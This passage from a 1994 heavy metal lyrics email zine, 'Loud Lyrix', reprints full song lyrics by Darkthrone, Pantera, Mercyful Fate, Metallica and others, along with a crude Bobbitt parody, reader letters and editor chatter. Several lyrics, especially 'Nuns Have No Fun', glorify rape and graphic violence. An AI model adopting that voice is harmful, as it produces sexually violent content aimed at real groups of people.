For whom the bell tolls
Take a look to the sky just before you die
It is the last time you will
Blackened roar massive roar fills the crumbling sky
Shattered goal fills his soul with a ruthless cry
Stranger now, are his eyes, to this mystery
He hears the silence so loud
Crack of dawn, all is gone except the will to be
Now the will see what will be, blinded eyes to see
chorus:
***************************** T H E E N D *******************************
Typed By: Gregory Smith <GS6368@ALBNYVMS.bitnet>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Yes, yes, I know the whole Bobbitt saga has grown rather - flaccid, but the
creativity of The People knows no bounds. An nth generation photocopy has
just come to my attention. And here it is -- Tom Wood
****************** THE BALLAD OF THE BOBBIT HILLBILLIES *******************
by {Unknown}
Album: {None}
[sung to the tune of -- oh you know]
Come listen to a story 'bout a man named John
A poor ex-marine with a little fraction gone.
It seems one night after gettin' with the wife,
She lopped off his schlong with a swipe of a knife.
(Penis, that is.)
(Rodeoed, fillet-load)
Well, the next thing you know there's a ginsu by his side,
And Lorena's in the car takin' Willie for a ride.
She soon got tired of her purple-headed friend,
And tossed him out the window as she rounded a bend.
(Curve, that is.)
(Pricker shrubs, wheel hubs)
She went to the cops and confessed to the attack,
And they called out the hounds just to get his weenie back.
They sniffed and they barked, and they pointed "over there,"
To John Wayne's Henry that was wavin' in the air.
(Found, that is.)
(By a fence; evidence)
Now Peter and John couldn't stay apart too long,
So a dick doctor said "Hey! I can fix your dong."
"A needle and a thread are the things you're gonna need,"
Then the world held its breath til they heard that Johnny peed.
(Whizzed, that is.)
(Stitched seam, straight seam)
Well, he healed and he hardened and he took his case to court,
With a cock-eyed lawyer since his assets came up short.
They cleared her of assault and acquitted him of rape,
And his pecker was the only one they didn't show on tape.
(Video, that is.)
(Unexposed, case closed.)
***************************** T H E E N D *******************************
Typed by: Tom Wood <wood@eagle.sangamon.edu>
Sent in by: Sartre <sartre@terranet.cts.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**************** U N D E R A F U N E R A L M O O N ******************
by D A R K T H R O N E
Album: "Under a Funeral Moon"
When the Sun has Died
When the Angels are Blind
When the Fog Lies Thick
Over the Palace of god
When the Full Moon Lights the Earth
When the Wolves Gather in the Open
When Blood rains from Heaven High
And from the pearly Gates
When Jehovas Hordes are Slaughtered
When Disciples Twelve are Dead
When Beliefs of Easter Lands
Are Raped and Raped again
When the Whore of Babylon Rides
When Pity turns to Hate
When All Sons of Satan
Sodomize the Lambs of christ
When the Gates have all been opened
When the Funerals Never End
When Satans Powers Paint our Hearts
And Satisfies our Souls
When Witches Burn the Priests
When the Ancient Ones Return
When the Demons Ride the Nuns
With their Horns of Dark Desire
***************************** T H E E N D *******************************
Typed by: Hellcrusher <bjarneh@elvebakken.vgs.no>
[Here's a little background info on Darkthrone from our good Norwegian
friend Hellcrusher, it's a bit long, but interesting anyways, hope ya like
it. -- Editor]
This band, Darkthrone, is the band who actually started this Black-Metal
wave in Norway. It seems like when they appeared folks were pretty pissed
off with that Sweden/Florida Death Metal sound. O.K. so Entombed and
Obituary were great bands, but everyone copied them, so the whole thing
became boring. I myself when I heard "A Blaze In the Northern Sky" the
first time were quite shocked over this amazing music. It had alot more
intensity than ordinary Death Metal. It reminded me of the old days with
Celtic Frost and Bathory(great swedes!!). Well about the band. Darkthrone
hasn't done alot of interviews like "The Count" has. That seems like a
smart thing though...
Darkthrone actually started out as a Death Metal band. They were known as
quite good around here. They gave out the album "Soulside Journey".
Darkthrone became a popular DM-band, but suddenly they did a change in
their style. They started to use corpsepaint, and when Morbid Angel wanted
them to warm up for them at a gig in Norway, Darkthrone told them to "Fuck
off". This was due to a religious conflict. It then seemed weird to me, but
now I know better...
Morbid Angel were members of the Satanic Church in California, under the
lead of Anton Szandor LaVey. All true(?) Norwegian satanists regards LaVey
as a humanist. Darkthrone & Co in Norway meant that only TRUE evil were
satanic. I can in fact agree with that (even though I'm not evil either).
This Satanic Bible of LaVey seemed to me like some kind of right-wing info.
Anyway, Darkthrone has refused to go on a tour "until 50 per cent of the
now touring bands stops". They have also said that they will only give out
three albums. The albums are "A Blaze in the Northern Sky", "Under A
Funeral Moon" and "Transylvanian Hunger". They also regard the before
mentioned "Soulside Journey" as a "non-Darkthrone" record. During this
"Burzum case" in Norway, Darkthrone has held a low profile. The only thing
that was written about them, was about their drummer and songwriter Fenriz.
He was known as "the satan-poet who worked in the post". Darkthrone are in
fact so shy that they for a long time didn't answer any requests from their
record-company, Peaceville!! How many bands can do such a thing to their
record-company??
Well I think this is what I have about Darkthrone. The only thing we await
from Darkthrone is their third and last album: "Transylvanian Hunger"
Drummer Fenriz also have his project "Isengaard" going. It will be
interesting to see how thing turns out for him. -- Hellcrusher
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************ W I T H O U T F E A R **************************
by S A B A O T H
Album: "Without Fear"
Knowledge was gained, the tears were restrained
The time is coming for a whole new life
The change is made, I am afraid
I am afraid of this life that may be.
Everyday life is no longer simple
A walk through the park with a saddened whistle
The temperature outside is incredibly hot
I]'ve got to get inside before I cannot
The change is made, what have I done
What have I done to deserve this torment.
Some days the legs do not stand, others
no sight or use of hands.
The question I often ponder, did I bring this on myself?
The change is made, what do I do
What do I do to endure this condemnation.
Still able to play bass and not knowing why
Waiting to know who is worthy to know who to glorify
Getting reborn through Jesus into my life
Making me realize just why I am alive.
God holds the key that will set me free
Spreading the Word through music is for me
Controls all maintaining the truth always beside me
with every move.
The change is made, I'm no longer afraid
I'm no longer afraid of this life that may be.
***************************** T H E E N D *******************************
Typed by: Phil Powell <metalhed@cap.gwu.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
I think it's totally cool to have a place to post great metal lyrix. I am
sorry to say that sometimes metal lyrix are a total disgrace, on the
kindergarten level, specially with glam bands... OK, here is an absolutely
totally cool Sabbath song from 1969 -- Shimon Godes
***************************** W A R N I N G *******************************
by B L A C K S A B B A T H
Album: "Black Sabbath"
Now the first day that I met ya
I was looking in the sky
When the sun turned all a blur
and the thunderclouds rolled by
The sea began to shiver
and the wind began to moan
It must've been a sign for me
to leave you well alone
I was born without you, baby
but my feelings were a little bit too strong
you never said you love me
and I don't believe you can
'cause I saw you in a dream
and you were with another man
You looked so cool and casual
and I tried to look the same
But now I've got to know ya
tell me who am I to blame?
I was born without you, baby
but my feelings were a little bit too strong
Now the whole wide world is movin'
'cause there's iron in my heart
I just can't keep from cryin'
'cause you say we've got to part
Sorrow grips my voice as I stand here all alone
And watch you slowly take away
a love I've never known
I was born without you, baby
but my feelings were a little bit too strong
***************************** T H E E N D *******************************
Typed by: Shimon Godes <godes@decscc.tau.ac.il>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok, so it's not heavy metal, but really, gino, beck is soooooo bizarre and
sooo cool, ya gotta love these lyrics.....and seems prophetic too, or else
he's potentially gonna off himself.....gino, "soy un perdedor" means "i'm a
loser" in spanish, according to a buncha people...... -- Mary Terry
******************************* L O S E R *********************************
by B E C K
Album: "Mellow Gold"
In the time of chimpanzees I was a monkey/ Butane in my veins, and I'm out to
cut the junkie/ With the plastic eyeballs/ Spraypaint the vegetables/ Dog
food skulls/ With the beefcake pantyhose/ Kill the headlights and put it in
neutral/ Stock car flamin with the loser on the cruise control/ Baby's in
Reno with the vitamin T/ Got a couple of couches/ Sleep on the love seat/
Someone keeps sayin' I'm insane to complain about a shotgun wedding and a
stain on my shirt/ Don't believe every thing that you breathe/ You'll get a
parking violation and a maggot on your sleeve/ So shave your face with some
mace in the dark/ Savin' all your food stamps/ We're burnin' down the trailer
park/ Yo...... cut it
Soy un perdedor/I'm a loser baby/ So why don't you kill me
......doublebarrelled buckshot........
Soy un perdedor/I'm a loser baby/ So why don't you kill me
Forces of evil/ in a bozo nightmare/ Bent all the music with a phony gas
chamber/ Cuz one's got a weazel and the other's got a flag/ One's on the pole
shove the other in a bag/ With the rerun shows and the cocaine nose job/ The
daytime crap of the folksinger slob/ He hung himself with a guitar string/ A
slab of turkey neck and it's hangin' from a pigeon wing/ Ya can't write if
you can't relate/ Trade the cash for the beef for the body for the hate/ And
my time is a piece of wax/ Fallin' on a termite/ It's chokin' on the
splinters
soy un perdedor/ I'm a loser baby so why don't you kill me
Get crazy with the cheese whiz...
Soy un perdedor/I'm a loser baby/ So why don't you kill me
driveby body pierce<?>....yo, bring it on down....i'm a driver, i'm the
winner,
things are gonna change, i can feel it...
soy un perdedor/i'm a loser baby so why don't you kill me
i can't believe you.....
soy un perdedor/i'm a loser baby/ so why don't you kill me
Soy un perdedor/I'm a loser baby/ So why don't you kill me
sprechen sie deutch, see baby...
Soy un perdedor/I'm a loser baby/ So why don't you kill me
ya hear what i'm saying?
***************************** T H E E N D *******************************
Typed by: Mary Terry <ShowMeMary@aol.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
I thought I might include a couple of lines after you stated that this is
not for just "heavy" metal. I hope this one will turn some 'bangers on to
some new stuff. -- Jason Landsbach
[Well, yes, that's true, this issue has quite a few non-metal songs, but I
thought I was gonna get some Industrial or Punk band, instead I get Alice
Cooper! C'mon man Jason, how can you say Coop. ain't metal?! I definitely
think so - Editor]
****************************** C L O N E S ********************************
by A L I C E C O O P E R
Album: "Flush the Fashion"
I'm a clone
I know it and I'm fine
I'm one and more are on the way
I'm two, doctor
Three's on the line
He'll take incubation another day
I'm all alone so are we all
We're all clones
All are one and one are all
All are one and one are all
We destroy the government
We're destroying time
I'm one and more are on the way
I'm through, doctor
We don't need your kind
The ugly ones
Lonely ones
Stupid boys
Wrong ones
I'm all alone so are we all
We're all clones
All are one and one are all
All are one and one are all
Six is having problems adjusting to his clone status
We have to put him on the shelf
(Please don't put me on the shelf)
All day long we hear him crying so loud
I just wanna be myself
Be myself
Be myself
I'm all alone so are we all
We're all clones
All are one and one are all
All are one and one are all
***************************** T H E E N D *******************************
Typed by: Jason Landsbach <landsbac@vaxa.clarion.edu>
Finally! Another Twisted Sister fan!!! Do you have any copies of their
concerts and/or videos. Any info will be appreciated. -- Jason L. Landsbach
[Yes man, I've been a fan since about Grade Three, that's when their
killer "Stay Hungary" came out, I love that album man, I mean, there are
so many people around these dayz that are embarrassed to admit they useta
like TS, but I say fuck them, poseurs man, that's all they are... anyways,
I'm sorry, but I don't have any bootlegs of 'em at all, but if anyone else
out there in Loud Lyrix land can help Jason with this request, mail him at
the above address... Thanks -- Editor]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************* T U R B O L O V E R ***************************
by J U D A S P R I E S T
Album: "Turbo"
You won't hear me, But you'll feel me
Without warning, something's dawning, listen.
Then within your senses, You'll know your defenseless
How your heart beats, when you run for cover
Your cant retreat I spy like no other.
Then we race together. We can ride forever
Wrapped in horsepower, driving into fury
Changing gear I pull you tighter to me
I'm your turbo lover. Tell me there's no other.
I'm your turbo lover. Better run for cover
We hold each other closer, as we shift to overdrive
And everything goes rushing by, with every nerve alive
We move so fast it seems as though we've taken to the sky
Love machines in harmony, we hear the engines cry.
On and on we're charging to the place so many seek
In perfect synchronicity of which so many speak
We feel so close to heaven in this roaring heavy load
and then in sheer abandonment, we shatter and explode.
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********** U N D E R S E I G E ( R E G N U M I R A E ) *************
by S E P U L T U R A
Album: "Arise"
The dual substance of Christ
The yearning so human
Of Man to attain God
Has always been a deep
Inscrutable mystery to me
My principle anguish and source
Of all my joys and sorrows
Religious domain is all I see
Suffocate the scum with mediocrity
Lying and changing your fate
Anno domini ends -- misery
>From my youth onward
Has been the incessant
Merciless battle between
The spirit and the flesh
And my soul is the arena
Where these two armies
Have clashed and met
Holy wars unleashing bloody raids
The sacred earth without a face
Consumed by murderous sinners
Psychotic leader
Insane -- insane -- insane -- insane!
Living in a dying age
Persecute the human race
Triumph of death in the wasteland
Blood signs your epitaph
Religious domain is all I see
Suffocate the scum with mediocrity
Lying and changing your fate
Anno domini ends -- misery
***************************** T H E E N D *******************************
Typed by: Lyrics Archives at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Alright people, that's the end of the road for this week. Hope you guys
liked it... I gotta go now, the first Leaf game is coming on, it's Monday
right now, so later people, keep those lyrics comin'!
C-ya
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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| | | | | | | | | __ < | \
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Loud Lyrix, May 31, 1994, Issue # 11
Addresses (Send mail here for subscriptions)
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
Loud Lyrix is posted weekly to the following newsgroups:
alt.music
alt.zines
rec.music.misc
rec.music.reviews
(BTW. The Editor does not have Usenet access, so all mail from Usenet
people should be send to one of the above addresses or else I will not see
it. Thank You.)
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #11, 5/31/94
------------------------
Well people, you know what they say.... all good things must come to an
end, right? .. Well, it looks like Loud Lyrix will be going on hiatus for
a little while, this will be the last Loud Lyrix sent from this site, the
sysadmin was a little bit pissed at the last issue 'cause it was sooooo
huge, so he decided to pull the plug, but I knew it was coming, so I'm not
mad at all... anyways... you HAVE to admit it was worth it!! Didn't that
fucking issue #10 just fucking blow you guys away?!! I loved doin' it, and
I hope more than a few of you enjoyed it too...
So anyways... this will be the last issue of Loud Lyrix sent from this
address, so that means that next week there may not be an issue, so don't
be surprised, I have to get things straightened out with the LISTSERV
owner over here, and get me a spot on it, and then LOUD LYRIX WILL BE
BACK...... with a vengeance!! Anyways, if I do miss next week, don't
despair 'cause I WILL make it up to youse!
Oh yes people!!! It's this Saturday!!!!!! METALLICA/DANZIG/SUICIDAL .. I
just can't wait!! This weekend is gonna fucking ROCK!! ... check this out,
Friday night is my friend's birthday party, we're getting a nice Howard
Johnson Hotel room for him, and we're gonna party all night, it'll be
soooo amazing, just imagine, 20 people in one room.... hehehe... we're
gonna get ripped, and at like 3am when everyone leaves, we're gonna jump
into the van, and wheel it up to Molson Park, and sleep in there 'til the
morning... and then we'll be the first in line for the Gen. Adm. concert!!!
Then at 2pm, the gates open... and it's MOSHING TIME!!!!! yeah, I'm gonna
be surfin' the WHOLE damn concert! Then I get back, and fucking just crash
at home 'cause I'll be soooo dead tired. Then next day at 12:30pm I gotta
work, and then on Monday at 11:35am I have my Driving License Exam (take
number two!).. hopefully I'll pass............... FUCKING HOLY SHIT!!!!
What a weekend!
Ok dudes.. so here it is, just a quick little Loud Lyrix 'cause I'm in
kinda a rush... hopefully we'll have the LISTSERV by next week, if not,
don't despair... I'LL BE BACK!!
BTW... I had a request from JEWELS <JKS0748@ritvax.isc.rit.edu> to include
the lyrics for "Fucking Hostile" by Pantera in this week's issue,
unfortunately that song was already printed up in issue #4, so I included
"No Good (Attack the Radical)" from the same album instead, I hope you
don't mind Jewels!
CONTENTS
--------
Song 1: "1642 Imprisonment" ("The Eye", Chapter 9) by King Diamond
Song 2: "No Good (Attack the Radical)" by Pantera
Song 3: "Evil Warriors" by Possessed
Song 4: "All That Remains" by Fear of God
Song 5: "Nuns Have No Fun" by Mercyful Fate
Song 6: "Use My Third Arm" by Pantera
Song 7: "Metal Militia" by Metallica
Song 8: "Hell Or High Water" by AC/DC
Song 9: "Gridlock" by Anthrax
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 9, "The Eye", by King Diamond
****************** 1 6 4 2 I M P R I S O N M E N T **********************
Sacrifice, holy rites, secrecy and altar wine
Black candles burning low, to the meetings again they go
Picard can't wait to take away another soul
Oh it's a shame, Picard was so insane
In the year of 1642, it came to an end
In 1642, imprisonment
Sacrifice, holy rites, secrecy and altar wine
Black death come this way, Father Picard will soon be going
He's ill, so sick, now his meetings are forever over
Oh it's a shame, they went along with his game
In the year of 1642, it came to an end
In 1642, imprisonment
Sacrifice, holy rites, secrecy and altar wine
The nuns can't take the blame
One after one they suffer a breakdown
Confession, confession, they confess to diabolic possession
Oh it's a shame, even Madeleine has gone insane
In the year of 1642, Madeleine was leaving hell
In 1642 she found freedom in her prison cell
********************* T O B E C O N T I N U E D ***********************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******** N O G O O D ( A T T A C K T H E R A D I C A L ) **********
by P A N T E R A
Album: "Vulgar Display of Power"
In the States there's a problem with race.
Because of ignorant past burned fires.
>From evolution we've been killing each other.
I figure man should have it down to a science.
No chance, not for a minute, not for a second I won't be defensive.
I'm straight out in my opinion.
You'd better listen to a man who knows what he is saying.
I've seen your side.
You run and hide for the mere fact that you feel inferior.
Be superior, and know your interior.
Pre:
Race, pride, prejudice
Blackman, whiteman, no stand
Live in the past, we make it last, a hated mass.
No solution, mind pollution, for revolution.
Chorus:
So low behold my eyes, this land of fools will rise.
No good, for no one.
You blame oppression and play the role of criminals.
To rape and burn show progress is minimal.
White hoods and militants you know it's such a pity.
Living, breathing, violence in your city.
If one man had one home in one world.
He'd live alone without variety.
Full of anxiety, no one to point at, question, or even talk to.
In his private grave, no matter what color, he wouldn't be saved from hell
He dwells, a closed mind playing the part of prison cells
(Pre)
(Chorus)
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** E V I L W A R R I O R S *************************
by P O S S E S S E D
Album: "Seven Churches"
When you wake up in the night
And you stare into the dark
Your eyes will scream for sight
Evil left its mark
You'll be looking all above
Looking all around
But if you want to see them
You have to look down
Tortured by thoughts
Stricken with fear
Blasted to hell
The end is near
As you wait upon your fate
Your throat is full of pain
And when you try to scream
You know it's all in vain
Nothing you can change
Destiny is complete
Silence seems so strange
As you start to feel the heat
Forever to burn
Infinite pain
Demons of darkness
Warriors domain
You think you're so secure
Protected from above
Gaze into the hell fire
I know you'll fall in love
They'll hunt you down at night
Your flesh is what they want
Your eyes will scream for sight
When evil comes to haunt
Cursed by nightmares
When you sleep
They'll cut your throat
And blood will seep
Fighting through the mist
Forever trapped in hell
Crushed with satan's fist
You can't escape his spell
Sanity will pass
Reality is just a word
Evil does its task
With its mighty sword
Open your eyes and die
By the hand of mass
Escape and you'll defy
My long awaited grasp
They want to steal your soul
Death will steal away
Your wrongs will take their toll
Below the crust you'll lay
Spell has cast no hope
Forgotten thoughts of good
Your neck awaits a rope
And things go like they should
Enslaved in forever torment
Blood drips from your eyes
There is no way to repent
>From your wicked lies
Blades of metal
Cut off your head
Served as a meal
Satan is fed
Masters of evil
Blasters of hell
No one can stop them
We're under their spell
Red eyes are glowing
With you in sight
And if your knowing
Scream out in fright
**************************** T H E E N D ********************************
Typed by: Leonid Makarovsky <venom@cs.bu.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** A L L T H A T R E M A I N S **********************
by F E A R O F G O D
Album: "Within The Veil"
Powerlines...steel webs confine, violating the brownish sky.
Hard grey smothers, earth, like cancer. Cracks revealing, ground below
broken and bleeding
every seed every stone.
I've heard the promise, I feel hunger, I realize. As time creeps over me
and days are torn away.
There are no answers only bitter lies, the only voice I'm believing
is the
beckoning blade.
I know the feeling the loss of control
voice of reason slips away
eyes staring back at me
so dark so cold
reflecting all the remains.
I know the enslaver
I taste its poison...felt its sting deep inside.
It has no answer, only bitter lies but its voice I'm hearing,
keeps calling my name.
Who can tell the torture of the soul?
Is it wrong... tell me is it wrong... to close your eyes...to sleep forever?
**************************** T H E E N D ********************************
Typed by: Marcel Hubregtse <lets2463@stud.let.ruu.nl>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** N U N S H A V E N O F U N **********************
by M E R C Y F U L F A T E
Album: "Mercyful Fate"
Upon a cross a nun will be hanged, she will be raped by an evil man
Knock spikes through her hands, things will come she won't understand
You're a nun you haven't had no fun, living your life as a virgin queen
I'm gonna change it and I'll get it done, tomorrow you won't be a virgin queen
C.U.N.T. that's what you are, you're C.U.N.T. yeah
I get it up, I get it up in the dark, I make her feel I'm not a holy man
Faster breathing, she's like a shark, she wants more
I'm gonna give her my cross
Nuns have have no fun, they just have their fathers and sons
But I'll give them hell, I never fail
I get it up, I get it up in the dark, I make her feel I'm not a holy man
Faster breathing, she's like a shark, she wants more
I'm gonna give her my cross
C.U.N.T. that's what you are, you're C.U.N.T. yeah.
**************************** T H E E N D ********************************
Typed by: Marcel Hubregtse <lets2463@stud.let.ruu.nl>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** U S E M Y T H I R D A R M ***********************
by P A N T E R A
Album: "Far Beyond Driven"
Enlighten your sense of thought, of touch, of real, a shield,
An underground for this coward.
Building a blood in water scent. It's like some raping,
without judgement. Boy in a pocket, balls in a bag,
Serve and protect you. His dick his gun, his brain his badge.
A faster way to kill them all would take too goddamn long.
Absorb through pores the great escape. Kill that fuck to show him up,
equal his displeasure now. Stab his ass a reminded past of
What the fuck we live for.
Ourselves.
Arm yourself. A branch. A third arm. Extend your health,
Crawl inside euphoria. Building a blood in water scent. It's like
a scraping, it's entrapment. Boy in a pocket, balls in a bag,
Perverted handle. His getting by is a fisted fuck.
A faster way to exterminate them takes too fucking long.
Absorb through pores he great escape.
Kill that fuck to show him up, equal his displeasure now,
Stab his ass, a reminded past of what the fuck we live for.
Ourselves.
Half assed for most his life. Piss poor little ham. NARC-BOY
a fake fuck limp dick, sucking up to the man.
And the world. We need a fucking cold war.
**************************** T H E E N D ********************************
Typed by: Eduardo Aceves Alatorre <a24897@itesocci.gdl.iteso.mx>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** M E T A L M I L I T I A *************************
by M E T A L L I C A
Album: "Kill 'Em All"
Thunder and lightning the gods take revenge
Senseless destruction
Victims of fury are cowardly now
Running for safety
Stabbing the harlot to pay for her sins
Leaving the virgin
Suicide running as if it were free
Ripping and tearing
On through the mist and the madness
We are trying to get the message to you
Metal Militia
Metal Militia
Metal Militia
Chained and shadowed to be left behind
nine and one thousand
Metal militia for your sacrifice
iron clad soldiers
Join or be conquered the law of the land
What will befall you
The metalization of your inner soul
twisting and turning
On through the mist and the madness
We are trying to get the message to you
Metal Militia
Metal Militia
Metal Militia
We are as one as we all are the same
fighting for one cause
Leather and metal are our uniforms
protecting what we are
Joining together to take on the world
with our heavy metal
Spreading the message to everyone here
Come let yourself go
On through the mist and the madness
We are trying to get the message to you
Metal Militia
Metal Militia
Metal Militia
***************************** T H E E N D *******************************
Typed By: Gregory Smith <GS6368@ALBNYVMS.bitnet>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** H E L L O R H I G H W A T E R ********************
by A C / D C
Album: "Fly on the Wall"
Everybody you don't have to choose it
You don't have to prove it
It's only rock 'n' roll
Mama don' told me
Papa don' scold me
Superstition, black cat in the cradle
Dancing on the table
Don't you snake on me
Mama don' told me
Daddy don' scold me, told me, show me
You know that he told me
[CHORUS:]
Come hell or HIGH WATER
Come hell or HIGH WATER
Come hell or HIGH WATER
Come hell or HIGH WATER
Blood money, lyin' through your back teeth
Fightin' on the main street
Breathe your last breath on me
Mama don' told me
Poor boy get home
Hot lovin' trigger-happy feelin'
Touchin' up and teasin'
You know it so bad
Mama don' told me
Papa don' scold me, rock 'n' rolled me
[REPEAT CHORUS (twice)]
Come hell, come hell, come hell
**************************** T H E E N D ********************************
Typed by: Lyrics archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**************************** G R I D L O C K ******************************
by A N T H R A X
Album: "Persistence of Time"
It's a long time, a long time comin'
You tell me how you think i should be
It's so easy
You tell me what people want from me
Well i'll just be myself
It's the only way i can be but you don't see
You accuse, abuse integrity
You don't know one damn thing about me
Not one damn thing
Build me up and then you tear me down
Curse my name when i'm not around
And it's a
Long time, long time
A long time comin'
A long time, long time
A long time comin', a vicious circle
In your face i'll come runnin'
Try and stop me
A long time, much too long
And i'm comin'
Try and stop me
I like to keep my friends around me close
But my enemies closer
Friends accept me for just who i am
Not someone i'm supposed to be
Or something they expect for free
Do you know me?
I live with myself, i know my place
Wipe that bullshit smile off your face
The show is over
Build me up and then you tear me down
Curse my name when i'm not around
And it's a
Long time, long time
A long time comin'
A long time, long time
A long time comin', a vicious circle
In your face i'll come runnin'
Try and stop me
A long time, much too long
And i'm comin'
Try and stop me
You and me are gonna take a walk
I think it's time we had a little talk
I said, you and me are gonna take a walk
And we're gonna do more than walk and talk
Let me see how you think i should be
You think it's so easy?
Put yourself on trial everyday
Against a hung jury
You don't know a thing about me
You believe the hype you see
But in my heart god knows i'll be true
To what my life will bring
And it's a
Long time, long time
A long time comin'
A long time, long time
A long time comin', a vicious circle
In your face i'll come runnin'
Try and stop me
A long time, much too long
And i'm comin'
Try and stop me
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok...... hope you enjoyed our last Loud Lyrix from Terranet, remember,
next week we may not have a Loud Lyrix, so don't flood my mail with
"WHERE'S MY LYRIX!!!" mail... ok? ... oh yeah, I just wanted to tell you
guys, just because I can't mail the 'zine from here, don't mean you can't
mail me... all administrivia still goes to lyrix@terranet.cts.com, so
don't change your routine for sending in lyrix, and subscribing yet.....
C-ya!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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_ ____ _ _ _____ _ __ _______ _______ __
| | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / /
| | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V /
| | | | | | | | | | | | | | \ / | _ / | | > <
| |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \
|______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\
Loud Lyrix, June 21, 1994, Issue # 12
Addresses
---------
Administrivia: lyrix@terranet.cts.com
Listserv: listserv@planet.org
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti) & Planet Communications
Mailing Program: LISTSERV at planet.org (Planet Communications)
! NOTE !
~~~~~~~~
All mail sent to the 'zine's list address <lyrix@planet.org> will be
forwarded to the editor at <lyrix@terranet.cts.com>, so please refrain
from sending anything to the list address, as this only 'causes us to
waste valuable resources. Thank you.
HOW TO SUBSCRIBE
~~~~~~~~~~~~~~~~
You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command
